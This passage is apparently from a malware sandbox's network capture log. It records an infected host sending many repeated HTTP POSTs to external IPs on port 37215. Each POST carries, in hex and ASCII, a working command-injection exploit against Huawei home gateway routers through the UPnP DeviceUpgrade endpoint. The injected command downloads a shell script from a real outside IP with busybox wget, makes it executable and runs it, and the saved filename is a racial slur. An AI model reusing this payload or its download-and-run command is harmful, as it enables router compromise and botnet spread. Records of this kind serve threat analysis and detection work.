HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.569510937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432549000 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.15	43066	31.200.58.102	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.183465004 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.15	59756	31.44.136.200	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.185699940 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.314502001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.15	39026	31.136.14.78	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.375797033 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.930587053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:46.018583059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.290441036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
